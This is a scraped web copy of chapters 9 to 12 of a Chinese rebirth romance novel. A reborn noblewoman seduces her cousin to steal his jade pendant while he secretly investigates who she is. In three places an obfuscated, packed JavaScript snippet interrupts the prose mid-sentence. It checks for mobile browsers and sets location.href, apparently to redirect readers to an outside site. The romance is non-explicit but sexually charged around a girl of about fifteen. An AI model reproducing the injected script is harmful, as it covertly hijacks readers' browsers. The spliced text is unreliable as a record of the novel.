若是神佛有灵,就让自己找到梦中的那个女子吧…… 于是,他推开了佛堂的门,“吱呀”一声,门开了,月华如水,流泄其间,他看见蒲团之上跪了个人。 不,更准确点说,应该是躺了个人。 是一个女子。 一刹那,他有点分不清梦境与现实了,他颤着手,跪在那人身侧,“衔月,是你吗?” 沈衔月窝在暖和和的毛毡里,睡得正香,意识朦胧之际,她听见有人在喊自己的名字,她想要抬起眼皮,瞧一瞧那人是谁,可她实在太困了,于是她翻了个滚儿,又睡着了。 月光澄澈,析洒金砖。 时倾尘看清了她的脸。 他的手滞在了半空中。 她,居然是他的表妹。 是啊,他怎么忘了,表妹今晚会来佛堂诵经的…… 他懊恼不已,想要悄悄起身离开,她却在这个时候拉住了他的衣袖,她的眼睫轻轻颤抖,即便是在睡梦中也并不安稳,“李元彻,你若敢伤他半分,我就算做鬼也不会放过你的!” 时倾尘怔了一下,如果他没记错的话,大徵皇三子的名讳就是“李元彻”,他微微蹙眉,垂眸打量着这个女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418724|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这是他第一次如此认真地端详她。 她的皮肤很白,雪一般的莹润,玉一般的光泽,烟鬟云髻仿佛初春的郁郁垂柳,轻渺,恬淡,又似仲夏的满池芙蓉,不过略施粉黛,已是倾国倾城。 他呼吸不稳,匆忙抬指拨开她的手,她察觉到了,手上攥得越发用力,他一个踉跄,竟然栽在了她的身上,下一瞬,沈衔月从梦中惊醒过来,她望着眼前的时倾尘,微微一愣。 “表兄?这么晚了,你怎么在这儿?” 时倾尘尴尬而略显狼狈地错开目光,“表妹,事情不是你想的那样。” 沈衔月笑了笑,“我想的哪样?” 时倾尘的薄唇抿成了一条线,他白皙沧润的脸庞上添了一抹红晕,像是红日从地平线上升起,清晨的第一缕熹微洒漾在波光粼粼的水面上。 沈衔月很爱这样的他。 干净,又于干净之外,多了一分可以染指的世俗。 她握住了他的手,“表兄,你喜欢我,对不对?” 他被她的话吓住了,“表妹,你误会了,这真的是一场意外。” 沈衔月又笑了一下,她望着这个她爱了一辈子的男人,只觉浮生如梦,上一世,他像是世外的谪仙,她只能仰望,不能触碰,而这一世,他就这么真真切切地出现在自己的眼前。 她的纤纤玉指顺着他洁白的衣袍一寸寸上移,又酥又痒,他几乎不能呼吸。 不,不能这样。 他下意识攥住了她的手腕,“表妹,请你自重。” 她的呼吸轻轻掠过他的耳侧,像是天上的云絮,水中的涟漪,“表兄,你怕什么?” 他答不出来。 是啊,他怕什么? 她仰起脸,一缕青丝随风摇曳,轻轻地缓缓地拂落他的颊侧,“你喜欢我,对不对?” 时倾尘心里很乱。 他不敢看她。 她的手轻轻一挣,挣脱了他的束缚,随即不安分地探入他的衣襟,像是天上绒绒软软的云朵,轻盈温柔地在他心头浮动,他才要制止她的动作,忽觉鼻尖一凉,她从他的怀中摸出他的玉佩,在他眼前晃了晃,玉质冰润,触肌生凉。 他一下子清醒了不少。 她顽皮一笑,“表兄能不能告诉我,这枚玉佩是干什么用的?” 他急了,“还给我!” 他伸手想要夺回玉佩,可她的身子实在太过灵巧,无论他如何动作,她都能敏捷避开,他的耐心消耗殆尽,不自觉加重了手上力道,大力地将她拽入怀中。 沈衔月跌在他的怀里,她抬眼望向他,清澈澄然的秋波沾染着些许说不清道不明的意味,仿佛一弯新月卧在了山水间,含情脉脉,欲说还休,她檀口微张,将他的玉佩咬在齿间。 烛火曳动,佛香轻袅,他的呼吸一滞。 她的唇瓣是那样的柔软鲜艳,晶莹无暇的美玉平添了一抹茜色,似是玷污,又似救赎,皎皎清辉映衬着她的桃面、丹唇、柔膝,他看见漫天晴雪中影影绰绰的一簇嫣红。 他轻抿薄唇,尽可能平静地说,“表妹,别闹了,把玉佩还给我。” 她盈盈一笑,含糊而又暧昧的字句逸散在空气中,“想要,就自己来拿。” 她的眼眸灿若繁星,浩若璇渊,他抬指捋开她鬓角的两缕碎发,擦过酡红的樱唇,洁白的齿贝。 玉佩“叮当”一声跌在地上。 雪化了。 她轻轻含住了他的指尖。 10. 有点甜 十、有点甜她最喜欢的人似乎还是他 她的唇瓣很软。 或许还有点甜。 流苏逶地,碎玉玲琅,夜风坠落琉璃瓦,在桃花纸上晕染开一片旖旎阑珊,顾盼惊鸿,一眼万年。 时倾尘的喉结轻轻滑动了一下。 十八年来,他潜心修习治国理政之道,从未在男女之事上动过半分心思,江南一带心悦他的女子数不胜数,可他始终漠然视之,在他的心中,没有什么比收复燕北十六州更重要。 燕北十六州,那是时氏一族的使命,那是他的此生所愿,毕生所求。 哪怕以血祭之,以骨筑之,他也会万死不辞。 可是这一刻,飞花吹片月,桃面笑春风,他望着她明亮漆黑的杏眸,秀如锦缎的乌发,闻着她身上若有若无的一丝梨花香,他听见自己心中那座高不可攀的冰山一点点融化的声音。 他,动情了。 即使他不愿意承认。 时倾尘鸦羽似的睫毛微垂,投下瞧不分明的默影,他的眸中第一次出现坚毅以外的神色。 那是茫然。 那是无措。 那是爱而不自知。 他一直以为,除了梦中的那个女子,他不会再爱上任何人,可现在他却爱上了他的表妹。 不,她不是他的表妹,她是父亲的私生女,他们怎么能…… 时倾尘想到这一点,神情一凛,陡然松开了手。 沈衔月酥肩半露,细眉微挑,眸光透过前世今生的纠葛眷恋,清澈明亮地照在他的脸上,她就这么注视着他变幻不定的神色,将他的怯懦、他的挣扎尽收眼底。 时倾尘,你终于爱上我了,是吗? 这还不够,我要你亲口承认你爱我,我要你深陷其中,不能自拔。 时倾尘,你不是白衣翩跹,不染纤尘吗,我偏要在你的身上留下属于我的痕迹,我要让你一生一世,不能忘怀。 她开口轻唤,“表兄,你怎么了?” 时倾尘怔怔地站在那里,他接受不了自己的动情,更无法忍受这个人竟然是他的妹妹,他阖上眼睛,长叹一声,许久,他缓声道,“表妹,我不知道我们之间是不是有什么误会,如果我有什么举动让你误解了的话,我向你道歉。” 说罢,他挽袖一礼,长身而拜。 她似笑非笑地看着他,不说话。 时倾尘深吸一口气,继续说道,“表妹,你我骨肉至亲,从前你流落在外,是我这个当哥哥的没有尽到责任,我发誓,我时倾尘这辈子一定会护你周全,等你来日及笄,再在江南给你找个好人家嫁了,我会以兄长之名,守护你一生一世。” 沈衔月嘲弄地牵了牵唇角,“表兄,你记得我的生辰是哪一日吗?” 时倾尘被她问住了。 她的生辰是哪一日? 他之前从来不知道自己还有这么个妹妹,甚至连她的名姓容貌,他都是昨日才知晓的,又怎么可能记得她的生辰呢。 沈衔月了然一笑,又问,“那你记得,我是哪一年及笄吗?” 时倾尘再次哑然。 沈衔月仍旧笑着,只是那抹笑意越来越轻,越来越浅,像是春风拂过残冬的浮华,余音中包裹着淡淡的一丝哀伤,“表兄什么都不记得,还说这些做什么?” 时倾尘自认理亏。 “是我倏忽了,从前未曾留心,表妹可否告知一二,我以后一定牢记。” “当然可以。” 沈衔月一步步走到他的跟前,她的声音柔和,在他的心头荡起一圈圈涟漪,“时倾尘,你记住了,我的生辰是四月十二日,我最喜欢的水果是甘棠梨,我最喜欢的颜色是胭脂红,我最喜欢的曲子是《潇湘水云》,我最喜欢的人……” 她突然不说话了。 前世今生,兜兜转转,她最喜欢的人似乎还是他。 幸也? 不幸也? 她的心里酸酸的,甜甜的,像是早熟的春杏,那种滋味,只有她自己知道。 时倾尘听着她的话,脸上洋溢出异样而又欣喜的神采,“你最喜欢的曲子是《潇湘水云》?果真吗!我最喜欢的也是这一首!” 沈衔月当然知道他最爱这一首,上一世,在她的大婚前夕,她曾去他的住所寻他,竹影婆娑,雪松缥缈,他端坐亭中,抱琴而歌,身影料峭孤寒,指尖拨弄的正是这首《潇湘水云》。 她是因为他,才爱上了这首曲子。 可时倾尘并不知道这一点,他以为她同自己一样,是这首曲子的知音。 “潇湘水云何所蔽,一蓑烟雨任扁舟,我每每听见这支琴曲,内心都会风起云涌,感慨万千,没想到,这世上还有人同我一样喜爱这支曲子!”他激动地注视着她,“你最喜欢这首曲子的哪一部分?” 时倾尘太高兴了,以至于连他自己都没注意,他对她直呼“你”,而非“表妹”。 沈衔月上一世并不怎么痴迷古琴,她爱听,不爱弹,更不爱和那些书呆子琴呆子一样,把一支好好的曲子拆的七零八落,非要从中摘出许多教诲世人的道理,她烦透了这种祸害乐曲的行为,就像是一件华美的衣裳,知道它美就够了,何必非要把袖子,把襟口单拎出来评头论足呢。 所以她说,“不知道。” 时倾尘愣了一下。 “不知道?那你为什么喜欢?” 沈衔月看见时倾尘欲言又止的表情,忽然想要逗逗他,她的嘴角扬起一抹若有若无的笑。 “表兄没听说过爱屋及乌吗?” 时倾尘不解,“爱屋及乌?” “对,爱屋及乌,表兄有所不知,这首《潇湘水云》是我的心上人弹给我听的,所以我喜欢,这份喜欢,和这支曲子无关,只和弹曲子的人有关。” 时倾尘不敢相信自己听到的话,他痴痴地望向她,“你有喜欢的人了?” 沈衔月觉得更有趣了。 “怎么,我不能有喜欢的人吗?表兄方才不是问我哪一年及笄吗,让我来告诉你,今岁,就是我的及笄之年,我马上就十六岁了,豆蔻年华,大好青春,我连个喜欢的人都不能有吗?” 时倾尘纠正她,“及笄是十五岁,豆蔻是十三四岁……” 沈衔月莞尔一笑,眼波脉脉,“原来表兄这么在意我的年龄呀。” 时倾尘抿着苍白的唇,“表妹,我不是这个意思,我只是觉得,表妹一直养在深闺,应该没什么接触外男的机会吧。” 他刻意掩饰,可声音还是透露出了些许紧张,些许忧切,还有一股没来由的怒火和怨气,他自己都不明白,自己为什么要执着于这件事,这不是他该操心的事,也不是他能操心的事。 可他还是期盼,期盼她能说没有。 不知道从什么时候起,他对她的心思有些不一样了。 沈衔月又是一笑,她用最无辜的眼神说着最伤人的话,“表兄难道忘了我的生母是什么人吗?” 时倾尘神情一震。 她的生母……似乎是青楼女子…… 若是这样,一切也就说得通了,难怪表妹年纪尚小,眉眼间却有那么一抹说不清道不明的风流韵致,难怪她对自己毫不避讳,甚至对男女之间的肌肤之亲也是无所谓的态度。 时倾尘的心都要碎了。 她该不会已经和别人那个了吧…… 他很想问,却又不敢问。 他艰难开口,“那个人是谁?” 她的笑靥鲜妍而又刺目,“谁?” 他咬着牙,几乎要把字给嚼碎了,“那个你喜欢的人,究竟是谁!” 她仰起孩子气的脸庞,“不记得了。” “不记得了?” 时倾尘暗暗想,表妹既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418725|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不记得了,那是不是说明,这个人在表妹心中无关紧要?他稍微松了一口气。 却听沈衔月笑了笑,又说,“这世上的好男儿千千万,我怎么会记得他的名字,我和他之间,不过是一夜风流罢了,梦醒了,就散了,谁还记得谁呢。” 时倾尘几乎不能呼吸。 他没听错吧,一夜……风流? 时倾尘再也按耐不住心里的那股无名之火,猛地抬手扼住她的纤纤玉腕,厉声喝斥,“梨容,你在胡说些什么,你怎么能如此不检点!你将我们燕王府的脸面搁在哪里!” 沈衔月的脸上没有一丝他所料想的羞惭,相反,她笑了起来,“表兄,你为什么生气?我的过去和你有何干系?至于燕王府,又何曾真正承认过我这个女儿呢?我就算闯出天大的祸事,也算不到燕王府的头上,表兄无需担心这个。” “那你也不能和别的男子不清不楚!” 时倾尘的心真的很痛。 沈衔月望着他显而易见的怒容,嗤然一哂,“表兄,你别这样,你这样,会让我误会你在吃醋的。” 时倾尘面色苍白若雪,倏然一红,可他并未放手,他就这么握着她的手,苦口婆心地说,“梨容,无论你是不是我的表妹,你都不应该拿自己的身子开玩笑,你太让我失望了!” 沈衔月忽然红了眼眶。 失望? 他和自己说失望? 上一世,她被李元彻在大婚之日狠狠羞辱的时候,他在哪里?他如果真的在乎自己,又怎么会让她沦落到那个地步?他有什么资格和自己说失望! “别说了!” 她的指尖蓦地停在他的唇上。 他的话戛然而止。 “表兄,你有没有想过,如果你不是我的表兄,我们两个会认识吗?” 时倾尘怔了一下。 “应该……不会吧……” “那,你有什么资格管我?”沈衔月笑了笑,她的指尖向下滑过他银丝边流云纹的衣襟,眸色陡然一冷,“时倾尘,你以为你是我的什么人,你凭什么对我的私事指指点点,不要说我睡了一个人,我就算睡了全天下的男人,又和你有什么关系?” 震惊、愤怒、惶惑、悲伤、怅恨、无语、怜爱、失望、痛心疾首…… 这些复杂的感情一股脑涌上心头。 她在说什么? 她居然还想要睡全天下的男人? 时倾尘艰难地看着她,许久,才说,“如果你开心的话,我不管你就是了。”他顿了顿,又说,“表妹,时辰不早了,我先回去了,你,自便。” 月至中天,沈衔月望着时倾尘料峭如昔的背影,心中是说不出的酸涩。 “等一下。” 时倾尘足下一缓,他听见了她的脚步声,还有自己越来越快的心跳声。 “表兄,你的东西落在这里了。” 时倾尘觉得掌间一凉,他垂眸,瞧见了掌心卧着的那枚玉佩。 该死。 他差点把这么重要的东西给忘了。 “谢谢表妹。” “不谢,表兄慢走。” 时倾尘将玉佩小心翼翼地收在怀里,抬手推门,修长如玉的指节在菱花格心间映出好看的侧影,他忽然想起了一件事,迈出去的步子不觉一滞。 “表妹,今夜的事,我……” 他的话还没说完,她已经帮他说了,“表兄放心,今夜发生的一切就是一场梦,梦醒了,我们谁都不必记得。” 时倾尘听着她满不在乎的口吻,再次怒从中来。 她把他当成什么人了? 召之即来,挥之即去? 他的薄唇抿作一条硬线,“表妹方才说的一夜风流,也是一场梦吗?” 沈衔月听他又提起此事,莞尔一笑,挑眉看他,“这个嘛,表兄觉得呢?” 11. 试试么 十一、试试么他的吻冰冰凉的 风吹过庭院。 叶子沙沙沙地响。 木门半开半掩,佛堂青灯和澄然月色交相辉映,投下一地昏黄柔和的光晕,她面若芙蓉,含光而绽,于是他清楚地看见,她眼尾处挑着一抹湿润的红。 时倾尘皱了皱眉,这红好生眼熟,似乎在什么地方见过。 他想看得更仔细些。 他伸手揽住了她的腰。 青丝萦尺,呼吸方寸。 二人离得这样近,薄薄的一层春纱揉乱在夏风里。 沈衔月未曾料到他如此大胆,这才认识多久,居然直接上手了! 嘶,这怎么和预料的不大一样呢? 她认真反思,是他年轻气盛不经撩,还是自己花容月貌太美了? 没等她琢磨出个答案,他的手已经覆上了她的脸颊。 有点痒。 “表兄,你这是做什么?” 时倾尘不答言,他抬指摩挲她的眼角,细如白瓷的肌肤上点着一粒小小的朱砂痣,随着她的眼波婉转曳荡,如同它的主人一样娇妍耀目。 “表妹,我们从前真的不认识吗?” “表兄何出此言?” “你给我的感觉,很像是一位故人。” 沈衔月微一扬眉,那抹湿润的潮红跟着上挑,似是无声的嘲讽。 “表兄话本子看多了吧,骗小姑娘不是这么骗的,再说,我也不是小姑娘了。” 时倾尘咬了咬牙,陡然加重了力道,一个字一个字从齿缝间挤出。 “表妹经验丰富啊。” “承让承让,有机会可以切磋切磋。” 时倾尘快把牙咬碎了。 她要和自己切磋切磋? 他收紧手臂,将她锢在自己怀里。 “表妹想和我切磋什么?” 沈衔月下巴微抬,雪一般的肌肤,花一般的容貌,让人有狠狠蹂躏的冲动,他抱得太紧,她有点喘不过气。 “不过是弹琴、下棋、赏画、投壶什么的罢了,表兄以为是什么?” 时倾尘眯眼打量着她,好一个不谙世事的女孩儿,好一个天真无邪的笑靥,他从前以为是自己多心,是自己混账,居然对自己的妹妹起了不该有的心思,他还为此自责了好久,直到这一刻他才明白,这一切都是她的欲擒故纵,欲拒还迎。 她分明就是故意的! “我说的什么,表妹自己心里清楚。” 沈衔月眨着水汪汪的大眼睛,继续装无辜,“我听不懂表兄在说什么。” “表妹真的不懂吗?” “真的不懂……唔……” 她瞪大了眼睛。 他吻上她的唇。 …… “啪”的一声,她心里的那根弦断了。 他的吻冰冰凉的。 和他这个人一模一样。 她望着近在咫尺的男人,有片刻的失神,前世今生的记忆交叠错乱,不知是春雨流转了时空,还是花瓣飘错了流年。 她想笑。 又想哭。 她以为自己恨他,可真到了这一刻,她还是会贪恋他的温暖,他的怀抱。 爱了一辈子的人。 怎么可能说忘就忘。 她仰起脸,眸光缱绻迷离。 他衣冠胜雪,依旧那样干净,那样俊逸,和她记忆中的一般无二,君子如玉,她相信,这世间没有任何一个男子有比他更完美的皮囊,而她爱的,却是那皮囊之下的高山之心。 他的美落在她的眼中,仿佛万丈之巅的冰雪,风吹不散,光化不开。 高山仰止,景行行止,她想登上他的山峰,折他在手,囚他在怀。 下一瞬,时倾尘克制地放开了她。 他琥珀色的眼眸蒙着一层薄雾,像是雪花落在了温暖的春池中,含着似说还休的情。 “表妹这回懂了吗?下回还想学什么,来找我,我教你。” 沈衔月柔波脉脉,婉约一笑,她抬指,顺着他白皙清俊的脖颈一路往下。 “表兄想教我什么?表兄会的,我也会,我会的,表兄却未必会。” 他咬牙,白袍之下的手紧握成拳。 她这是什么意思? 嘲讽自己不行吗? 士可杀不可辱! 他挑眉,眼角勾着笑。 “是么?要不我们试试?” 她微微一怔,眼前的少年气息不稳,一向波澜不惊的眼眸中陡然生出凛冽之色,她当机立断,立刻将他推出佛堂,顺手掩好了门。 乌云濯月,星汉清朗。 门外,那个男子的轮廓映照在满池潇湘中,料峭而又寂寥,过了一会儿,脚步声渐远,她终于松了一口气,从怀中摸出方才被她掉包的玉佩凝眸细看。 二人方才纠缠了许久,时倾尘离开的时候神思迷离,没留意玉佩已经被她神不知鬼不觉地换掉了。 这是一块上好的白玉,玉质细腻,浑然天成,没有半点人工雕凿的痕迹,她把玉佩拿在手上,翻来覆去看了许多遍,别说文字,就连一个多余的花纹都找不到。 沈衔月实在想不出该去哪里寻找这枚玉佩的线索,她有点泄气地坐在地上,佛香清浅、幽淡,她深深吸了一口气,感觉内心平静了不少。 往事依稀,跃上心头。 上一世,沈衔月曾不止一次地问过时倾尘,他身上的这枚玉佩究竟是何来历,可他讳莫如深,从来不肯与她多说半句,她那时深爱着他,唯恐这是他和哪家姑娘的定情信物,偷偷叫人在长安的高门贵女中打听一圈,并没有发现哪个女子有和他一样的玉佩,她这才放了心。 她那时以为,这枚玉佩不过是他的心爱之物罢了,直到濒死之际,李元彻的嘲讽才让她如梦初醒。 这枚玉佩,可调骠骑营大军,时倾尘的身份绝不是一个简单的茶商之子。 沈衔月微微蹙眉,时倾尘,你究竟是什么人?她暗暗下定决心,重活一世,她一定要弄清楚这枚玉佩的来历。 玉佩卧于她的掌心,温润、冰泽,她的脑海中忽然浮现出他方才的那句话—— “要不,我们试试?” 沈衔月的脸一下子红了,她今夜蓄意撩拨,为的就是窃走他的玉佩,可话说回来,戏假情真,她对他,虽然没有上一世的那般痴迷,终归还是有着些许情意的,如果他愿意的话,她倒是不介意和他试试,毕竟他可是一等一的好容色。 床笫一事上,她比他有经验,不管怎么说,吃亏的人肯定不会是她。 只是她方才趁着他精神恍惚之际,偷了他的玉佩,若是脱了衣裳,定然是要露馅的,她叹了口气,如此也只好作罢了。 沈衔月握紧手中的玉佩,心里空落落的,她有点遗憾,就这么把人放跑了,不过很快,她又振作起来,她暗暗发誓,只要她想,他就和这枚玉佩一样,永远逃不出自己的五指山! * 听澜苑。 东方浮出一抹鱼肚白。 时倾尘踏着清辉,推开朱漆门。 竹风漪漪,苍梧疏影,他折下一片青翠的竹叶在指尖把玩,桂魄透过竹叶的间隙,泛着清冷的光,他再一次想起了她。 她,真的是他的表妹吗? 时倾尘打定主意,决定明天找人好好查一查这个来历不明的表妹。 此刻,天已经蒙蒙亮了,他虽然有些倦意,却不打算再睡,他从屋中取出大皇子留下的燕北十六州舆图,坐在外面的青石台上细细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418726|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端详。 山川河流,天堑屏障,撑起大徵半壁江山的燕北十六州就这么拱手相送。 何其愚蠢! 他攥紧拳头,手背上青筋暴起。 他要收复这片失地,重整这个山河,他要将燕王被踩碎践踏的战旗重新插在燕北十六州的土地上,他要用刀枪剑戟将大徵的屈辱沦丧捅个对穿,用血与泪铸就青史之上的辉煌! 他热泪盈眶,在苍白朦胧的清晨眺见群山之上,一轮灼灼红日正在冉冉升起。 光芒炽热,势不可挡。 他捧着燕北十六州的舆图,拢衣坐下,阖眼小憩。 太阳升起来了,空气中浸润着昨夜的微寒,他在冷热交织的湿软中睡了过去。 时倾尘再一次梦见了那个女子,只是这一次,梦中的那个女子转过身来,这是他第一次看清她的脸容,她面纱之上的双目含着盈盈泪光,眼尾处,赫然挑着一抹似曾相识的潮红。 他如遭雷击。 那是他的表妹。 梨容…… 衔月…… 时倾尘遽然惊醒,他在落满斑驳竹影的青石台上静静坐了一会儿,这个梦中的女子已经困扰了他太久太久,事到如今,不能不查,他打定主意,屈指吹哨。 须臾,一个十五六岁的少年破空而来,少年容貌秀丽,若在人群中定能吸引无数女孩子的回眸,可和时倾尘一比,不过是中人之姿罢了。 少年单膝着地,跪下一礼。 “少主。” 时倾尘抬了抬手,示意他起来。 “建安盟如何了?” “回少主,按照少主的吩咐,我们暗中奔赴各地,联络盟中旧人,大家听说少主回来了,都十分激动,也愿意重归建安盟,为少主效力,为建安盟效力。” “好,凤箫,我有一件事要查清楚,你带着建安盟中的人去办。” 名唤凤箫的少年听说时倾尘有事交代,立刻肃了肃神色,“少主吩咐。” “你帮我查两个人,一个人叫梨容,她的母亲曾经是红袖阁里的姐儿,还有一个人,我只知道她的名字叫衔月,至于她姓什么,你们要帮我查出来。” 凤箫踌躇了一下,才说,“敢问少主,这两个人和燕北十六州有关吗?” “无关,这只是我个人的一点私事。” 凤箫不作声,时倾尘扫他一眼,“有话就说,别吞吞吐吐的。” “少主,不是属下多嘴,这是少主第一次启用建安盟,如此大费周章地调查两个女子,却只是为了一点私事,恐怕会让大伙寒心。” 时倾尘面色温和,语气中却有少许的不耐烦,“我第一次启用建安盟,也不知道建安盟到底有多大的本事,若是连这点微末小事都办不好,我又怎么敢用建安盟办其他事。” 凤箫闻言,立时顿悟,“属下明白了,属下这就去办!” 时倾尘微一颔首,将玉佩交给凤箫,“去吧。” 凤箫走后,时倾尘才感觉到自己的手一直在微微颤抖,他心虚地拢了拢衣袖,将手掩在宽大的袖袍之下,是的,他说谎了,对他而言,这并不是什么微末小事,而是他心里的一桩陈年旧疾。 时倾尘心中惭愧。 建安盟始建于南朝,历经数十代盟主传承至今,是大徵最负盛名的情报网络,五湖四海的奇闻轶事,江湖游侠的来龙去脉,禁苑宫闱的卷宗秘史……建安盟全都能查得一清二楚,而他,却用这么厉害的情报网络去调查两个女子。 实在是大材小用。 时倾尘面对凤箫的质疑,只能胡乱编了一个义正言辞的借口出来,他知道自己这是公器私用,可他没有办法,他被这件事困扰了太久太久,如今燕王府里又来了这么一位表妹,他必须查个水落石出。 12. 表兄早 十二、表兄早很香 翌日清早,金灿灿的阳光洒满佛堂,沈衔月从睡梦中抬起眼皮,瞧着眼前的景物发怔,她还没有完全适应自己的新身份。 她现在不是太傅的女儿沈衔月,而是燕王府的私生女梨容。 沈衔月伸了个懒腰,从蒲团下摸出时倾尘的玉佩,收在怀里,随后简单收拾了一下妆容,照旧去慈安堂请安,路过荷花池的时候,清香沁人,她发现池畔的浓淡疏影里站着个俊美少年。 少年眸如点漆,面若冠玉。 这个少年,正是时倾尘。 他手执折扇,侧身而立,一尘不染的白衣掩映在滟滟光影中,美得不可方物。 沈衔月步子稍缓,昨夜的种种在她的眼前一闪而过,她下意识想要绕开他,一步、两步、三步,就在她准备逃之夭夭的时候,他回过身来,目光清冷而又柔和。 “早啊,表妹。” 沈衔月努力挤出一抹笑来。 “表兄早。” 说完,她心虚地垂下眼帘,战略性后撤,准备溜之大吉。 盗亦有道,她偷了人家的东西,怎么还好意思和人家套近乎。 三十六计,跑为上计! 时倾尘瞧着沈衔月局促的模样,心中有些困惑,她怎么和昨夜不大一样呢? 他心说,这个表妹果然古怪,在建安盟查出结果之前,他要先审审她。 时倾尘收了折扇,挡在她的跟前,“表妹是要去给祖母请安吗?一起吧。” “那个,我认路,就不麻烦表兄了。” 时倾尘淡淡挑眉,似乎没有听见她的话,他望向她的目光温柔似水。 少顷,他抬手擒住她的手腕,在她下意识惊呼之前,他用白净修长的指节掩住了她的唇,薄凉的话从他的指尖传来。 “你不是我的表妹。” 沈衔月心头一紧,糟糕,暴露了。 荷花池畔是用鹅卵石铺就的青苔小路,四下里浓荫环绕,鸟语花香。 二人的身影被草木遮蔽,淡粉色的花瓣拂落他的青玉发冠,她被他锢在怀里,只能仰头看着他,他眼眸含笑,似乎在等着她自投罗网,束手就擒。 沈衔月脑子里忽而闪过一个念头,他莫不是在诈自己? 这么一想,她一下子镇定了下来。 好你个时倾尘,差点上了你的当! “表兄,你胡说什么呢,我若不是你的表妹,燕王和燕王妃怎么会接我回府?” “可是为什么派去接你的人都死了,只有你一个人活了下来?” 沈衔月轻嗤一声,“这该去问燕王妃,你的母亲啊。” 时倾尘眸光一凛,“你是说,母亲派人在半路劫杀你们?” “我可没这么说,这话,是你自己说的,传到燕王妃的耳朵里也不赖我。” 他沉默了一下,垂眸望着怀里的女子,她的笑容乖巧俏皮,带着一丝算计的味道,他稍作思忖,终于还是放开了她。 沈衔月慢条斯理地拢了拢鬓发,“表兄还有事吗,没事,我就先走了。” 她这么说着,已经往外走了好几步,他太难缠,再不跑,她真要装不下去了。 “等一下。” 他的声音温和,却又不可抗拒,她像是被施了什么法术,老老实实定在那里。 “莺儿被我的人请去喝茶了,表妹身边没有服侍的人可不行,这样吧,我们一道去给祖母请安,可好?” 沈衔月咬咬牙,好你个大头鬼啊! 时倾尘又一挑眉,“表妹?” 沈衔月望着他佻达不羁的笑容,倏然间改了主意,她抬手挽住他的胳膊,换上一副如花笑靥,“好啊,谢谢表兄。” 她贴上来的一瞬,他的心颤了一下。 她的身体十分柔软。 还…… 很香。 时倾尘屏住呼吸,轻轻错开目光。 该死,他这是怎么了,怎么和那些纨绔子弟一个样子,动不动就被女人迷的七荤八素,他从前最瞧不起这样的人,男儿顶天立地,怎么能成天想着情情爱爱。 可他现在…… 时倾尘这个恨啊。 好在,她是他的表妹,他们之间不可能有什么的,绝对不可能! 他不动声色地往外挪了一寸,尽可能和她保持距离,她觉察到了,不由一笑。 时倾尘,我看你这个坐怀不乱的柳下惠能忍到什么时候,我不信你会不动心。 * 慈安堂。 二人依次给老夫人、燕王、燕王妃请了安,燕王瞧见他们两个一处过来,不免有些惊讶,时倾尘笑着解释。 “我们在路上碰到,想着都是给祖母、父亲、母亲请安的,就一块儿过来了。” 沈衔月始终保持着礼貌的微笑。 时玄钧大为欣慰,心说儿子长大了懂事了,知道疼惜自己的妹妹了。 几人闲话期间,时玄钧想起来一件要紧事,于是嘱咐道,“尘儿啊,午后,长安有两位贵客过来,你陪父亲一块儿去招待一下,别失了咱们燕王府的礼数。” 慕容嫣笑问,“不知道是什么贵客,值得王爷这样费心叮嘱?” 不等时玄钧答言,老夫人瞥了慕容嫣一眼,淡淡道,“这都是他们男人的事情,嫣儿何必跟着操心,我瞧外头春光正好,嫣儿,你扶我去园中逛一逛吧。” 慕容嫣脸上的笑容就快挂不住了,外人眼里,她们婆媳相处融洽,可她心里明镜似的,这个老夫人一直防着自己呢。 慕容嫣应声起身,余光瞥见一旁的沈衔月,笑道,“容儿,你也一起吧。” 沈衔月无语,这都是什么人啊,自己掉进了坑里,还要拽上别人。 老夫人闻言,也看向了沈衔月,“是啊容儿,你也陪祖母去园中逛逛吧。” 沈衔月只得答应了一声,在后头找了个不起眼的位置远远跟着。 老夫人和慕容嫣身后跟着一大堆的侍女仆从,沈衔月走得慢,自然而然地落在了最后面,屋中父子的对话有两句落在了她的耳朵里,她脚下不由一滞。 “父亲,不知道那两位贵客是什么人?” “太子殿下,还有三皇子殿下。” “太子殿下亲自来了?” “是啊,我也觉得奇怪,我本来想让你去长安一趟,和太子殿下攀攀交情,毕竟若无意外,太子殿下就是未来的大徵皇帝,没成想太傅府出了那样的事……” 沈衔月心中一动,刻意放缓了步子,想再多听两句,不料老夫人回过头唤她,“容儿,你来前面扶着祖母。” 老夫人虽然上了年纪,声音却十分洪亮,沈衔月感觉众人目光齐齐聚在了自己身上,这下,她想偷听也不能了。 沈衔月抿了抿唇,乖巧地应了一声,“来啦~祖母~” * 燕王府的后花园水木清华,风 